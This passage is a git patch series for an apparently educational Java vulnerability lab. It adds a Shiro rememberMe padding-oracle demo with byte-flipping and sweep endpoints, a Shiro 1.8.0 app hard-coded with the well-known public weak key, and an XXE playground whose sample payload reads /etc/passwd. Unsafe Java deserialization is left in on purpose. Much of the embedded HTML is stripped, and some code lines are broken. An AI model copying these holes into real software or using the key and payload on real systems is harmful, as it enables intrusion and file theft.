\n" + + " \n" + + " \n" + + " \n" + + " \n" + + "
\n" + + " \n" + + "
\n" + + "
等待翻转...
\n" + + "
\n" + + "
\n" + + "

字节遍历(非 Key 遍历)

\n" + + "

遍历同一个 Cookie 的字节位并记录状态差异,不做 Key 爆破。

\n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + "
\n" + + " \n" + + "
\n" + + "
\n" + + "
\n" + + "
\n" + + "

RememberMe 登录验证

\n" + + "
\n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + "
\n" + + " \n" + + " \n" + + " \n" + + " \n" + + "
\n" + + "
\n" + + "
\n" + + "
\n" + + "
\n" + + " \n" + + "\n" + + ""; + } + + @PostMapping(value = "/login", produces = "text/plain;charset=UTF-8") + public String login(@RequestParam String username, + @RequestParam String password, + @RequestParam(defaultValue = "false") boolean rememberMe) { + Subject subject = SecurityUtils.getSubject(); + UsernamePasswordToken token = new UsernamePasswordToken(username, password, rememberMe); + try { + subject.login(token); + return "登录成功,rememberMe=" + rememberMe + "。访问 /profile 查看状态。"; + } catch (AuthenticationException ex) { + return "登录失败:" + ex.getMessage(); + } + } + + @GetMapping(value = "/oracle/sample", produces = "application/json;charset=UTF-8") + public Map oracleSample(@RequestParam(defaultValue = "valid") String type) { + return oracleService.sample(type); + } + + @PostMapping(value = "/oracle/probe", produces = "application/json;charset=UTF-8") + public ResponseEntity> oracleProbe(@RequestParam("cookieValue") String cookieValue) { + OracleResult result = oracleService.probe(cookieValue); + Map body = new LinkedHashMap(); + body.put("stage", result.getStage()); + body.put("message", result.getMessage()); + body.put("principal", result.getPrincipal()); + return new ResponseEntity>(body, HttpStatus.valueOf(result.getStatus())); + } + + @PostMapping(value = "/oracle/mutate", produces = "application/json;charset=UTF-8") + public Map oracleMutate(@RequestParam("cookieValue") String cookieValue, + @RequestParam("index") int index, + @RequestParam(value = "xor", defaultValue = "1") int xor) { + return oracleService.mutate(cookieValue, index, xor); + } + + @PostMapping(value = "/oracle/sweep", produces = "application/json;charset=UTF-8") + public Map oracleSweep(@RequestParam("cookieValue") String cookieValue, + @RequestParam(value = "start", defaultValue = "0") int start, + @RequestParam(value = "count", defaultValue = "32") int count, + @RequestParam(value = "xor", defaultValue = "1") int xor) { + return oracleService.sweep(cookieValue, start, count, xor); + } + + @GetMapping(value = "/oracle/info", produces = "application/json;charset=UTF-8") + public Map oracleInfo() { + Map result = new LinkedHashMap(); + result.put("shiroVersion", "1.4.1"); + result.put("demoKey", oracleService.getDemoKeyBase64()); + result.put("affectedVersions", Arrays.asList("1.2.5", "1.2.6", "1.3.0", "1.3.1", "1.3.2", "1.4.0-RC2", "1.4.0", "1.4.1")); + result.put("fixedVersion", "1.4.2"); + return result; + } + + @GetMapping(value = "/profile", produces = "text/plain;charset=UTF-8") + public String profile() { + Subject subject = SecurityUtils.getSubject(); + String principal = subject.getPrincipal() == null ? "anonymous" : subject.getPrincipal().toString(); + return "principal=" + principal + + ", authenticated=" + subject.isAuthenticated() + + ", remembered=" + subject.isRemembered(); + } + + @GetMapping(value = "/admin", produces = "text/plain;charset=UTF-8") + public String admin() { + Subject subject = SecurityUtils.getSubject(); + return "admin resource reached by " + subject.getPrincipal(); + } + + @GetMapping(value = "/health", produces = "text/plain;charset=UTF-8") + public String health() { + return "ok"; + } +} diff --git a/shiro-1.25_1.42/src/main/java/com/myapp/support/RememberMeOracleService.java b/shiro-1.25_1.42/src/main/java/com/myapp/support/RememberMeOracleService.java new file mode 100644 index 0000000..f2d69ad --- /dev/null +++ b/shiro-1.25_1.42/src/main/java/com/myapp/support/RememberMeOracleService.java @@ -0,0 +1,298 @@ +package com.myapp.support; + +import org.apache.shiro.subject.SimplePrincipalCollection; +import org.apache.shiro.web.mgt.CookieRememberMeManager; +import org.springframework.stereotype.Component; + +import javax.crypto.BadPaddingException; +import javax.crypto.Cipher; +import javax.crypto.IllegalBlockSizeException; +import javax.crypto.spec.IvParameterSpec; +import javax.crypto.spec.SecretKeySpec; +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.io.ObjectInputStream; +import java.io.ObjectOutputStream; +import java.nio.charset.StandardCharsets; +import java.security.GeneralSecurityException; +import java.security.SecureRandom; +import java.util.ArrayList; +import java.util.Base64; +import java.util.LinkedHashMap; +import java.util.List; +import java.util.Map; + +@Component +public class RememberMeOracleService { + + public static final String DEMO_KEY_BASE64 = "UGFkZGluZ09yYWNsZUtleQ=="; + + private final byte[] demoKey = Base64.getDecoder().decode(DEMO_KEY_BASE64); + private final SecureRandom secureRandom = new SecureRandom(); + + public void applyDemoKey(CookieRememberMeManager rememberMeManager) { + rememberMeManager.setCipherKey(demoKey); + } + + public String getDemoKeyBase64() { + return DEMO_KEY_BASE64; + } + + public String generateValidCookie() { + SimplePrincipalCollection principals = new SimplePrincipalCollection("admin", "demoRealm"); + return encrypt(serialize(principals)); + } + + public String generatePaddingErrorCookie() { + byte[] raw = Base64.getDecoder().decode(generateValidCookie()); + raw[raw.length - 1] = (byte) (raw[raw.length - 1] ^ 0x01); + return Base64.getEncoder().encodeToString(raw); + } + + public String generateContentErrorCookie() { + return encrypt("not-a-java-serialized-object".getBytes(StandardCharsets.UTF_8)); + } + + public OracleResult probe(String cookieValue) { + if (cookieValue == null || cookieValue.trim().isEmpty()) { + return OracleResult.invalid("cookie 不能为空。"); + } + + byte[] decoded; + try { + decoded = Base64.getDecoder().decode(cookieValue.trim()); + } catch (IllegalArgumentException ex) { + return OracleResult.invalid("cookie 不是合法的 Base64。"); + } + + if (decoded.length <= 16 || decoded.length % 16 != 0) { + return OracleResult.padding("cookie 长度不符合 AES-CBC 分组要求。"); + } + + byte[] plaintext; + try { + plaintext = decrypt(decoded); + } catch (BadPaddingException ex) { + return OracleResult.padding("解密阶段出现 padding 错误。"); + } catch (IllegalBlockSizeException ex) { + return OracleResult.padding("解密阶段出现分组长度错误。"); + } catch (GeneralSecurityException ex) { + return OracleResult.invalid("解密失败:" + ex.getClass().getSimpleName()); + } + + try { + Object object = deserialize(plaintext); + String principalInfo = object instanceof SimplePrincipalCollection + ? ((SimplePrincipalCollection) object).getPrimaryPrincipal().toString() + : object.getClass().getName(); + return OracleResult.success("解密与反序列化都成功。", principalInfo); + } catch (Exception ex) { + return OracleResult.deserialize("padding 正确,但反序列化失败:" + ex.getClass().getSimpleName()); + } + } + + public Map sample(String type) { + String normalized = type == null ? "valid" : type; + Map result = new LinkedHashMap(); + result.put("type", normalized); + + if ("padding".equals(normalized)) { + result.put("name", "Padding 错误样本"); + result.put("cookie", generatePaddingErrorCookie()); + result.put("description", "基于正常 Cookie 翻转最后一个字节,强制触发 padding 错误。"); + return result; + } + if ("content".equals(normalized)) { + result.put("name", "内容错误样本"); + result.put("cookie", generateContentErrorCookie()); + result.put("description", "使用相同 key 正常加密,但明文并不是合法 Java 序列化对象。"); + return result; + } + + result.put("name", "正常样本"); + result.put("cookie", generateValidCookie()); + result.put("description", "由同一 AES-CBC key 生成的合法 rememberMe 样本。"); + return result; + } + + public Map mutate(String cookieValue, int index, int xorValue) { + Map result = new LinkedHashMap(); + if (cookieValue == null || cookieValue.trim().isEmpty()) { + result.put("ok", false); + result.put("message", "cookie 不能为空。"); + return result; + } + + byte[] raw; + try { + raw = Base64.getDecoder().decode(cookieValue.trim()); + } catch (IllegalArgumentException ex) { + result.put("ok", false); + result.put("message", "cookie 不是合法的 Base64。"); + return result; + } + + if (index < 0 || index >= raw.length) { + result.put("ok", false); + result.put("message", "字节下标越界,可用范围:0-" + (raw.length - 1)); + return result; + } + + int normalizedXor = xorValue & 0xFF; + int before = raw[index] & 0xFF; + raw[index] = (byte) (raw[index] ^ normalizedXor); + int after = raw[index] & 0xFF; + String mutated = Base64.getEncoder().encodeToString(raw); + + result.put("ok", true); + result.put("index", index); + result.put("xor", normalizedXor); + result.put("before", before); + result.put("after", after); + result.put("cookie", mutated); + return result; + } + + public Map sweep(String cookieValue, int start, int count, int xorValue) { + Map result = new LinkedHashMap(); + if (cookieValue == null || cookieValue.trim().isEmpty()) { + result.put("ok", false); + result.put("message", "cookie 不能为空。"); + return result; + } + + byte[] raw; + try { + raw = Base64.getDecoder().decode(cookieValue.trim()); + } catch (IllegalArgumentException ex) { + result.put("ok", false); + result.put("message", "cookie 不是合法的 Base64。"); + return result; + } + + int safeStart = Math.max(0, start); + int safeCount = Math.max(1, Math.min(count, 64)); + int endExclusive = Math.min(raw.length, safeStart + safeCount); + if (safeStart >= raw.length) { + result.put("ok", false); + result.put("message", "起始下标越界。"); + return result; + } + + int normalizedXor = xorValue & 0xFF; + List> records = new ArrayList>(); + for (int i = safeStart; i < endExclusive; i++) { + byte[] copy = raw.clone(); + copy[i] = (byte) (copy[i] ^ normalizedXor); + String mutated = Base64.getEncoder().encodeToString(copy); + OracleResult probeResult = probe(mutated); + + Map row = new LinkedHashMap(); + row.put("index", i); + row.put("status", probeResult.getStatus()); + row.put("stage", probeResult.getStage()); + row.put("message", probeResult.getMessage()); + records.add(row); + } + + result.put("ok", true); + result.put("start", safeStart); + result.put("count", records.size()); + result.put("xor", normalizedXor); + result.put("records", records); + return result; + } + + private String encrypt(byte[] plaintext) { + try { + byte[] iv = new byte[16]; + secureRandom.nextBytes(iv); + + Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding"); + cipher.init(Cipher.ENCRYPT_MODE, new SecretKeySpec(demoKey, "AES"), new IvParameterSpec(iv)); + byte[] ciphertext = cipher.doFinal(plaintext); + + byte[] combined = new byte[iv.length + ciphertext.length]; + System.arraycopy(iv, 0, combined, 0, iv.length); + System.arraycopy(ciphertext, 0, combined, iv.length, ciphertext.length); + return Base64.getEncoder().encodeToString(combined); + } catch (GeneralSecurityException ex) { + throw new IllegalStateException("rememberMe sample generation failed", ex); + } + } + + private byte[] decrypt(byte[] cookieBytes) throws GeneralSecurityException { + byte[] iv = new byte[16]; + byte[] ciphertext = new byte[cookieBytes.length - 16]; + System.arraycopy(cookieBytes, 0, iv, 0, 16); + System.arraycopy(cookieBytes, 16, ciphertext, 0, ciphertext.length); + + Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding"); + cipher.init(Cipher.DECRYPT_MODE, new SecretKeySpec(demoKey, "AES"), new IvParameterSpec(iv)); + return cipher.doFinal(ciphertext); + } + + private byte[] serialize(Object object) { + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + ObjectOutputStream objectOutputStream = new ObjectOutputStream(outputStream); + objectOutputStream.writeObject(object); + objectOutputStream.flush(); + return outputStream.toByteArray(); + } catch (IOException ex) { + throw new IllegalStateException("serialization failed", ex); + } + } + + private Object deserialize(byte[] data) throws IOException, ClassNotFoundException { + ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(data)); + return objectInputStream.readObject(); + } + + public static class OracleResult { + private final String stage; + private final int status; + private final String message; + private final String principal; + + private OracleResult(String stage, int status, String message, String principal) { + this.stage = stage; + this.status = status; + this.message = message; + this.principal = principal; + } + + public static OracleResult success(String message, String principal) { + return new OracleResult("success", 200, message, principal); + } + + public static OracleResult deserialize(String message) { + return new OracleResult("deserialization_error", 400, message, null); + } + + public static OracleResult padding(String message) { + return new OracleResult("padding_error", 500, message, null); + } + + public static OracleResult invalid(String message) { + return new OracleResult("invalid_input", 422, message, null); + } + + public String getStage() { + return stage; + } + + public int getStatus() { + return status; + } + + public String getMessage() { + return message; + } + + public String getPrincipal() { + return principal; + } + } +} diff --git a/shiro-1.25_1.42/src/main/resources/application.properties b/shiro-1.25_1.42/src/main/resources/application.properties new file mode 100644 index 0000000..5664c94 --- /dev/null +++ b/shiro-1.25_1.42/src/main/resources/application.properties @@ -0,0 +1,3 @@ +server.port=8080 +server.servlet.session.timeout=30m +logging.level.org.apache.shiro=INFO diff --git a/shiro-1.8.0/Dockerfile b/shiro-1.8.0/Dockerfile new file mode 100644 index 0000000..2965e3b --- /dev/null +++ b/shiro-1.8.0/Dockerfile @@ -0,0 +1,9 @@ +FROM wushangleon/java:jdk8u112_maven as builder + +COPY . /opt/shiro +WORKDIR /opt/shiro +RUN mvn package -DskipTests + +FROM wushangleon/java:jdk8u112 +COPY --from=builder /opt/shiro/target/shiro-1.8.0-1.0-SNAPSHOT.jar /opt/app.jar +CMD ["java", "-jar", "/opt/app.jar"] diff --git a/shiro-1.8.0/Dockerfile_local b/shiro-1.8.0/Dockerfile_local new file mode 100644 index 0000000..cd6805b --- /dev/null +++ b/shiro-1.8.0/Dockerfile_local @@ -0,0 +1,3 @@ +FROM wushangleon/java:jdk8u112 +COPY target/shiro-1.8.0-1.0-SNAPSHOT.jar /opt/app.jar +CMD ["java", "-jar", "/opt/app.jar"] diff --git a/shiro-1.8.0/pom.xml b/shiro-1.8.0/pom.xml new file mode 100644 index 0000000..f552d7c --- /dev/null +++ b/shiro-1.8.0/pom.xml @@ -0,0 +1,62 @@ + + + 4.0.0 + + org.example + shiro-1.8.0 + 1.0-SNAPSHOT + + + 1.8 + 1.8 + 1.8 + + + + org.springframework.boot + spring-boot-starter-parent + 1.5.22.RELEASE + + + + + org.springframework.boot + spring-boot-starter-web + + + org.apache.shiro + shiro-spring + 1.8.0 + + + + + + + org.springframework.boot + spring-boot-maven-plugin + + + org.apache.maven.plugins + maven-compiler-plugin + 3.1 + + 1.8 + 1.8 + + + + org.apache.maven.plugins + maven-resources-plugin + 3.0.2 + + + org.apache.maven.plugins + maven-jar-plugin + 2.4 + + + + diff --git a/shiro-1.8.0/src/main/java/com/myapp/MyApplication.java b/shiro-1.8.0/src/main/java/com/myapp/MyApplication.java new file mode 100644 index 0000000..ea971cb --- /dev/null +++ b/shiro-1.8.0/src/main/java/com/myapp/MyApplication.java @@ -0,0 +1,11 @@ +package com.myapp; + +import org.springframework.boot.SpringApplication; +import org.springframework.boot.autoconfigure.SpringBootApplication; + +@SpringBootApplication +public class MyApplication { + public static void main(String[] args) { + SpringApplication.run(MyApplication.class, args); + } +} diff --git a/shiro-1.8.0/src/main/java/com/myapp/config/ShiroConfig.java b/shiro-1.8.0/src/main/java/com/myapp/config/ShiroConfig.java new file mode 100644 index 0000000..952e771 --- /dev/null +++ b/shiro-1.8.0/src/main/java/com/myapp/config/ShiroConfig.java @@ -0,0 +1,101 @@ +package com.myapp.config; + +import org.apache.shiro.mgt.SecurityManager; +import org.apache.shiro.realm.Realm; +import org.apache.shiro.realm.SimpleAccountRealm; +import org.apache.shiro.spring.LifecycleBeanPostProcessor; +import org.apache.shiro.spring.security.interceptor.AuthorizationAttributeSourceAdvisor; +import org.apache.shiro.spring.web.ShiroFilterFactoryBean; +import org.apache.shiro.web.mgt.CookieRememberMeManager; +import org.apache.shiro.web.mgt.DefaultWebSecurityManager; +import org.apache.shiro.web.servlet.SimpleCookie; +import org.springframework.boot.web.servlet.FilterRegistrationBean; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; +import org.springframework.web.filter.DelegatingFilterProxy; + +import javax.servlet.DispatcherType; +import java.util.Base64; +import java.util.LinkedHashMap; +import java.util.Map; + +@Configuration +public class ShiroConfig { + + public static final String WEAK_PUBLIC_KEY = "kPH+bIxk5D2deZiIxcaaaA=="; + + @Bean + public Realm realm() { + SimpleAccountRealm realm = new SimpleAccountRealm(); + realm.addAccount("admin", "admin123", "admin"); + realm.addAccount("user", "user123", "user"); + return realm; + } + + @Bean + public CookieRememberMeManager rememberMeManager() { + CookieRememberMeManager rememberMeManager = new CookieRememberMeManager(); + SimpleCookie cookie = new SimpleCookie("rememberMe"); + cookie.setHttpOnly(true); + cookie.setMaxAge(7 * 24 * 60 * 60); + rememberMeManager.setCookie(cookie); + + // Deliberately insecure for lab: fixed known public weak key. + rememberMeManager.setCipherKey(Base64.getDecoder().decode(WEAK_PUBLIC_KEY)); + return rememberMeManager; + } + + @Bean + public SecurityManager securityManager(Realm realm, CookieRememberMeManager rememberMeManager) { + DefaultWebSecurityManager securityManager = new DefaultWebSecurityManager(); + securityManager.setRealm(realm); + securityManager.setRememberMeManager(rememberMeManager); + return securityManager; + } + + @Bean(name = "shiroFilter") + public ShiroFilterFactoryBean shiroFilter(SecurityManager securityManager) { + ShiroFilterFactoryBean factoryBean = new ShiroFilterFactoryBean(); + factoryBean.setSecurityManager(securityManager); + factoryBean.setLoginUrl("/login-page"); + factoryBean.setSuccessUrl("/profile"); + factoryBean.setUnauthorizedUrl("/login-page"); + + Map chain = new LinkedHashMap(); + chain.put("/", "anon"); + chain.put("/login-page", "anon"); + chain.put("/shiro-1.8.0", "anon"); + chain.put("/login", "anon"); + chain.put("/weak-key/status", "anon"); + chain.put("/health", "anon"); + chain.put("/logout", "logout"); + chain.put("/**", "user"); + factoryBean.setFilterChainDefinitionMap(chain); + return factoryBean; + } + + @Bean + public FilterRegistrationBean shiroFilterRegistration() { + FilterRegistrationBean registration = new FilterRegistrationBean(); + DelegatingFilterProxy filterProxy = new DelegatingFilterProxy("shiroFilter"); + filterProxy.setTargetFilterLifecycle(true); + registration.setFilter(filterProxy); + registration.addUrlPatterns("/*"); + registration.setDispatcherTypes(DispatcherType.REQUEST, DispatcherType.FORWARD, DispatcherType.INCLUDE, DispatcherType.ERROR); + registration.setName("shiroFilter"); + registration.setOrder(1); + return registration; + } + + @Bean + public LifecycleBeanPostProcessor lifecycleBeanPostProcessor() { + return new LifecycleBeanPostProcessor(); + } + + @Bean + public AuthorizationAttributeSourceAdvisor authorizationAttributeSourceAdvisor(SecurityManager securityManager) { + AuthorizationAttributeSourceAdvisor advisor = new AuthorizationAttributeSourceAdvisor(); + advisor.setSecurityManager(securityManager); + return advisor; + } +} diff --git a/shiro-1.8.0/src/main/java/com/myapp/controller/Shiro180Controller.java b/shiro-1.8.0/src/main/java/com/myapp/controller/Shiro180Controller.java new file mode 100644 index 0000000..fc9273d --- /dev/null +++ b/shiro-1.8.0/src/main/java/com/myapp/controller/Shiro180Controller.java @@ -0,0 +1,172 @@ +package com.myapp.controller; + +import com.myapp.config.ShiroConfig; +import org.apache.shiro.SecurityUtils; +import org.apache.shiro.authc.AuthenticationException; +import org.apache.shiro.authc.UsernamePasswordToken; +import org.apache.shiro.subject.Subject; +import org.apache.shiro.web.mgt.CookieRememberMeManager; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.RestController; + +import java.lang.reflect.Field; +import java.util.Base64; +import java.util.LinkedHashMap; +import java.util.Map; + +@RestController +public class Shiro180Controller { + + private final CookieRememberMeManager rememberMeManager; + + public Shiro180Controller(CookieRememberMeManager rememberMeManager) { + this.rememberMeManager = rememberMeManager; + } + + @GetMapping(value = {"/", "/login-page", "/shiro-1.8.0"}, produces = "text/html;charset=UTF-8") + public String index() { + return "\n" + + "\n" + + "\n" + + " \n" + + " \n" + + " Shiro 1.8.0 弱密钥靶场\n" + + " \n" + + "\n" + + "\n" + + "
\n" + + "
\n" + + "

Shiro 1.8.0 弱密钥集成靶场

\n" + + "

这个模块用于演示:即使 Shiro 升级到高版本,如果应用仍把 rememberMe 密钥配置成公开弱值,风险依然存在。这属于应用集成/配置问题,而不是官方历史漏洞版本范围变化。

\n" + + " Shiro 版本: 1.8.0\n" + + " rememberMe 模式: AES-GCM(高版本默认)\n" + + "

当前靶场弱密钥(固定公开值):" + ShiroConfig.WEAK_PUBLIC_KEY + "

\n" + + "
\n" + + "
\n" + + "

弱密钥状态

\n" + + "
\n" + + " \n" + + "
\n" + + "
等待检测...
\n" + + "
\n" + + "
\n" + + "

RememberMe 登录验证

\n" + + "
\n" + + "
\n" + + " \n" + + " \n" + + " \n" + + "
\n" + + "
\n" + + " \n" + + " \n" + + " \n" + + " \n" + + "
\n" + + "
\n" + + "
\n" + + "
\n" + + " \n" + + "\n" + + ""; + } + + @PostMapping(value = "/login", produces = "text/plain;charset=UTF-8") + public String login(@RequestParam String username, + @RequestParam String password, + @RequestParam(defaultValue = "false") boolean rememberMe) { + Subject subject = SecurityUtils.getSubject(); + UsernamePasswordToken token = new UsernamePasswordToken(username, password, rememberMe); + try { + subject.login(token); + return "登录成功,rememberMe=" + rememberMe + "。访问 /profile 查看状态。"; + } catch (AuthenticationException ex) { + return "登录失败:" + ex.getMessage(); + } + } + + @GetMapping(value = "/weak-key/status", produces = "application/json;charset=UTF-8") + public Map weakKeyStatus() { + String currentKey = extractCipherKeyBase64(rememberMeManager); + boolean weak = ShiroConfig.WEAK_PUBLIC_KEY.equals(currentKey); + + Map result = new LinkedHashMap(); + result.put("shiroVersion", "1.8.0"); + result.put("currentKey", currentKey); + result.put("isWeakConfigured", weak); + result.put("message", weak + ? "高版本 + 固定公开弱密钥,风险仍然存在(不安全配置)。" + : "当前密钥不是预置弱值。"); + return result; + } + + @GetMapping(value = "/profile", produces = "text/plain;charset=UTF-8") + public String profile() { + Subject subject = SecurityUtils.getSubject(); + String principal = subject.getPrincipal() == null ? "anonymous" : subject.getPrincipal().toString(); + return "principal=" + principal + + ", authenticated=" + subject.isAuthenticated() + + ", remembered=" + subject.isRemembered(); + } + + @GetMapping(value = "/admin", produces = "text/plain;charset=UTF-8") + public String admin() { + Subject subject = SecurityUtils.getSubject(); + return "admin resource reached by " + subject.getPrincipal(); + } + + @GetMapping(value = "/health", produces = "text/plain;charset=UTF-8") + public String health() { + return "ok"; + } + + private String extractCipherKeyBase64(CookieRememberMeManager manager) { + Object key = readField(manager, "encryptionCipherKey"); + if (!(key instanceof byte[])) { + key = readField(manager, "decryptionCipherKey"); + } + if (key instanceof byte[]) { + return Base64.getEncoder().encodeToString((byte[]) key); + } + return "unknown"; + } + + private Object readField(Object target, String fieldName) { + Class type = target.getClass(); + while (type != null) { + try { + Field field = type.getDeclaredField(fieldName); + field.setAccessible(true); + return field.get(target); + } catch (NoSuchFieldException ex) { + type = type.getSuperclass(); + } catch (IllegalAccessException ex) { + return null; + } + } + return null; + } +} diff --git a/shiro-1.8.0/src/main/resources/application.properties b/shiro-1.8.0/src/main/resources/application.properties new file mode 100644 index 0000000..5664c94 --- /dev/null +++ b/shiro-1.8.0/src/main/resources/application.properties @@ -0,0 +1,3 @@ +server.port=8080 +server.servlet.session.timeout=30m +logging.level.org.apache.shiro=INFO diff --git a/wxpay-xxe/src/main/java/myapp/PlaygroundController.java b/wxpay-xxe/src/main/java/myapp/PlaygroundController.java new file mode 100644 index 0000000..c408b0e --- /dev/null +++ b/wxpay-xxe/src/main/java/myapp/PlaygroundController.java @@ -0,0 +1,28 @@ +package myapp; + +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +public class PlaygroundController { + + @GetMapping(value = {"/", "/playground"}, produces = "text/html;charset=UTF-8") + @ResponseBody + public String index() { + String attack = "< !ENTITY xxe SYSTEM \"file:///etc/passwd\" >]>wxpay&xxe;".replace("< !", "wxpay123456"; + return "wxpay-xxe Playground" + style() + + "

wxpay-xxe Playground

可先填充攻击/正常 XML,再手动修改并发送到 /wxpay-xxe

" + + "
等待发送请求...
" + + ""; + } + + private String style() { + return ""; + } + + private String esc(String value) { + return value.replace("\\", "\\\\").replace("'", "\\'").replace("\r", "").replace("\n", "\\n"); + } +} diff --git a/wxpay-xxe/wxpay-xxe.iml b/wxpay-xxe/wxpay-xxe.iml deleted file mode 100644 index 78b2cc5..0000000 --- a/wxpay-xxe/wxpay-xxe.iml +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file From 0df66b6d069a2168ebcaed1f242d88c64a47b405 Mon Sep 17 00:00:00 2001 From: lokerxx Date: Fri, 20 Mar 2026 21:29:11 +0800 Subject: [PATCH 5/9] =?UTF-8?q?=E6=9B=B4=E6=96=B0=E9=87=8D=E6=9E=84?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .gitbook/assets/image-20240127215349622.png | Bin 20521 -> 0 bytes .gitbook/assets/image-20240306164920221.png | Bin 308523 -> 0 bytes .gitbook/assets/image-20240306165001240.png | Bin 197354 -> 0 bytes CVE-2019-10173/Dockerfile | 1 + CVE-2019-10173/Dockerfile_local | 1 + CVE-2019-10173/docker-compose.yaml | 9 + CVE-2019-12384/Dockerfile | 1 + CVE-2019-12384/Dockerfile_local | 1 + CVE-2019-12384/docker-compose.yaml | 9 + HSQLDB/Dockerfile | 1 + HSQLDB/Dockerfile_local | 1 + HSQLDB/docker-compose.yaml | 9 + Hibernate/Dockerfile | 1 + Hibernate/Dockerfile_local | 1 + Hibernate/docker-compose.yaml | 9 + README.md | 398 ++--- SimpleAgent/docker-compose.yaml | 9 + actuator_authorized_1.X/Dockerfile | 1 + actuator_authorized_1.X/Dockerfile_local | 1 + actuator_authorized_1.X/docker-compose.yaml | 9 + actuator_authorized_2.X/Dockerfile | 1 + actuator_authorized_2.X/Dockerfile_local | 1 + actuator_authorized_2.X/docker-compose.yaml | 9 + actuator_unauthorized_1.X/Dockerfile | 1 + actuator_unauthorized_1.X/Dockerfile_local | 1 + actuator_unauthorized_1.X/docker-compose.yaml | 9 + actuator_unauthorized_2.X/Dockerfile | 1 + actuator_unauthorized_2.X/Dockerfile_local | 1 + actuator_unauthorized_2.X/docker-compose.yaml | 9 + base_vul/Dockerfile | 1 + base_vul/Dockerfile_local | 1 + base_vul/docker-compose.yaml | 9 + base_vul/pom.xml | 13 +- .../java/com/myapp/config/SQLiteDialect.java | 79 + .../controller/PlaygroundController.java | 110 +- .../src/main/resources/application.properties | 10 +- base_vul/src/main/resources/data.sql | 14 + base_vul/src/main/resources/schema.sql | 18 + .../src/main/resources/templates/xss.html | 8 +- .../resources/templates/xss_dom_index.html | 2 +- base_vul_repair/Dockerfile | 1 + base_vul_repair/Dockerfile_local | 1 + base_vul_repair/docker-compose.yaml | 9 + base_vul_repair/pom.xml | 8 +- .../controller/PlaygroundController.java | 114 +- .../com/myapp/controller/SqliController.java | 12 +- .../java/com/myapp/mapper/UserMapper.java | 4 +- .../src/main/resources/application.properties | 9 +- base_vul_repair/src/main/resources/data.sql | 4 + .../src/main/resources/mapper/UserMapper.xml | 22 +- base_vul_repair/src/main/resources/schema.sql | 6 + cas_xxe/Dockerfile | 1 + cas_xxe/Dockerfile_local | 1 + cas_xxe/docker-compose.yaml | 9 + collections/Dockerfile | 1 + collections/Dockerfile_local | 1 + collections/docker-compose.yaml | 9 + collections/pom.xml | 8 +- .../main/java/myapp/PlaygroundController.java | 12 +- .../java/myapp/TransformerController.java | 165 +- doc/README.md | 71 + doc/project-tutorials.md | 74 + doc/projects/actuator-authorized-1-x.md | 43 + doc/projects/actuator-authorized-2-x.md | 43 + doc/projects/actuator-unauthorized-1-x.md | 43 + doc/projects/actuator-unauthorized-2-x.md | 43 + doc/projects/base-vul-repair.md | 50 + doc/projects/base-vul.md | 50 + doc/projects/cas-xxe.md | 43 + doc/projects/collections.md | 29 + doc/projects/cve-2019-10173.md | 44 + doc/projects/cve-2019-12384.md | 43 + doc/projects/druid-authorized.md | 48 + doc/projects/druid-unauthorized.md | 49 + doc/projects/fastjson-1-2-24.md | 48 + doc/projects/fastjson-1-2-25-1-2-41.md | 49 + doc/projects/fastjson-1-2-42.md | 48 + doc/projects/fastjson-1-2-43.md | 48 + doc/projects/fastjson-1-2-45.md | 48 + doc/projects/fastjson-1-2-59.md | 49 + doc/projects/fastjson-1-2-60.md | 49 + doc/projects/fastjson-1-2-61.md | 49 + doc/projects/fastjson-1-2-62.md | 49 + doc/projects/fastjson-1-2-66.md | 49 + doc/projects/fastjson-1-2-67.md | 49 + doc/projects/fastjson-1-2-68.md | 49 + doc/projects/fastjson-1-2-80.md | 48 + doc/projects/fastjson-1-2-83.md | 47 + doc/projects/hibernate.md | 48 + doc/projects/hsqldb.md | 49 + doc/projects/index.md | 45 + doc/projects/log4jvul.md | 48 + doc/projects/logic-vul.md | 63 + doc/projects/shior-1-2-4.md | 48 + doc/projects/shiro-1-25-1-42.md | 49 + doc/projects/shiro-1-8-0.md | 48 + doc/projects/shiro-cve-2020-17523.md | 48 + doc/projects/simpleagent.md | 73 + doc/projects/struts2-s2-001.md | 103 ++ doc/projects/struts2-s2-003.md | 67 + doc/projects/struts2-s2-005.md | 69 + doc/projects/struts2-s2-007.md | 64 + doc/projects/struts2-s2-009.md | 59 + doc/projects/struts2-s2-012.md | 61 + doc/projects/struts2-s2-013.md | 59 + doc/projects/struts2-s2-015.md | 72 + doc/projects/wxpay-xxe.md | 44 + doc/testing-pocs.md | 89 + docker-compose-build.yaml | 331 +++- docker-compose-local.yaml | 344 +++- docker-compose-microservice.yml | 137 -- docker-compose-only-mysql.yaml | 17 - docker-compose-remote.yaml | 160 +- druid_authorized/Dockerfile | 1 + druid_authorized/Dockerfile_local | 1 + druid_authorized/docker-compose.yaml | 9 + druid_authorized/pom.xml | 8 +- .../src/main/resources/application.properties | 15 +- druid_authorized/src/main/resources/data.sql | 4 + .../src/main/resources/schema.sql | 6 + druid_unauthorized/Dockerfile | 1 + druid_unauthorized/Dockerfile_local | 1 + druid_unauthorized/docker-compose.yaml | 9 + druid_unauthorized/pom.xml | 7 +- .../src/main/resources/application.properties | 19 +- .../src/main/resources/data.sql | 4 + .../src/main/resources/schema.sql | 6 + fastjson-1.2.24/Dockerfile | 1 + fastjson-1.2.24/Dockerfile_local | 1 + fastjson-1.2.24/docker-compose.yaml | 9 + fastjson-1.2.25-1.2.41/Dockerfile | 1 + fastjson-1.2.25-1.2.41/Dockerfile_local | 1 + fastjson-1.2.25-1.2.41/docker-compose.yaml | 9 + fastjson-1.2.42/Dockerfile | 1 + fastjson-1.2.42/Dockerfile_local | 1 + 